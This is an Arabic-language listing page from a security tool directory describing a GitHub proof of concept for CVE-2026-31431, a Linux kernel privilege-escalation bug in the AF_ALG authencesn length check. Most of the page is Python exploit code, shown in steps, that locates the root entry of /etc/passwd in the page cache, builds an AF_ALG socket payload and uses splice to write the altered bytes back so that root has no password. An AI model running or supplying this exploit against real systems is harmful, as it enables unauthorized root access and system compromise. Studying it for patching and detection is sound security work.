Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/yuspring/cve-2026-31431-poc
تصعيد الامتيازاتأطر الاستغلالتحليل الثغرات الأمنيةالاستغلالاستغلال الملفات الثنائية
GitHubyuspring/cve-2026-31431-poc

cve-2026-31431-poc

إثبات مفهوم لاستغلال CVE-2026-31431، وهو تصعيد صلاحيات في نواة لينكس عبر تجاوز فحص الطول في AF_ALG authenc، مما يحقق صلاحيات الجذر عن طريق تعديل /etc/passwd.

عرض المستودع
33منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE 2026-31431 POC

يستغل هذا الثغرة خطأً في وظيفة التحقق من طول authencesn في لينكس، مما يؤدي إلى كتابة الصفحات المتسخة (dirty pages) إلى أماكن لا يملك المستخدم صلاحية الوصول إليها، مما يسبب تصعيد الصلاحيات

يعتمد بشكل أساسي على مبدأ الهجوم من هذا المستودع، مع بعض التعديلات على الحمولة
https://github.com/rootsecdev/cve_2026_31431

image هذه الصورة توضح التصحيح (patch) الخاص بنواة لينكس 6.12.85، وسيتم تتبع هذه التصحيحات لاحقاً عند تحليل الكود

عملية التنفيذ

  1. فتح وتعديل ملف /etc/passwd في الذاكرة (RAM)
root@kitploit:~
# Get /etc/passwd file info
with open("/etc/passwd", "rb") as f:  # binary open
  content = f.read()
  idx = content.find(b"root:x")  # find root:x location
  x_offset = idx + 5  # Get x location

الهدف هو تغيير كلمة مرور root في /etc/passwd إلى بدون كلمة مرور (بدون التحقق عبر /etc/shadow)

root@kitploit:~
# Before: root:[x:0:]0:root:/root:/bin/bash
# After   root:[:0:0]0:root:/root:/bin/bash
exploit_data = b":0:0"
  1. الاتصال عبر socket وبناء الحمولة
root@kitploit:~
sock = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)  # Connect socket AF_ALG using sequence packet
sock.bind(("aead", ALG_NAME))

# Build the key payload
# Structure: [rtattr header (8 bytes)] + [enc_key_len (4 bytes)] + [authkey] + [enckey]
authkey, enckey = b"\x00" * 32, b"\x00" * 16
rtattr = struct.pack("HH", 8, 1)
keyparam = struct.pack(">I", len(enckey))
key = rtattr + keyparam + authkey + enckey

# Set key and accept socket
sock.setsockopt(SOL_ALG, ALG_SET_KEY, key)
op, _ = sock.accept() # open socket

# Send payload
payload = b"\x00" * 4 + string
cmsg = [
  (SOL_ALG, ALG_SET_OP, struct.pack("I", 0)),  # Decrypt
  (SOL_ALG, ALG_SET_IV, struct.pack("I", 16) + b"\x00" * 16), # Set IV
  (SOL_ALG, ALG_SET_AEAD_ASSOCLEN, struct.pack("I", 8)), # Set AAD length(8)
  ]
  op.sendmsg([payload], cmsg, socket.MSG_MORE)
  1. إرسال الحمولة عبر socket مما يؤدي إلى كتابة الصفحات المتسخة (dirty pages) مرة أخرى إلى الملف
root@kitploit:~
# Splice connection
# Page Cache(exploit payload) -> socket(AF_ALG) -> Data(write back) -> pwn!!!
pr, pw = os.pipe()
os.splice(fd, pw, 32, offset_src=x_offset) # copy data from Page Cache to pipe
os.splice(pr, op.fileno(), 32)             # copy data from pipe to socket
try:
  op.recv(64)
except OSError:
  pass

Reference

https://xint.io/blog/copy-fail-linux-distributions

تنزيل الأداة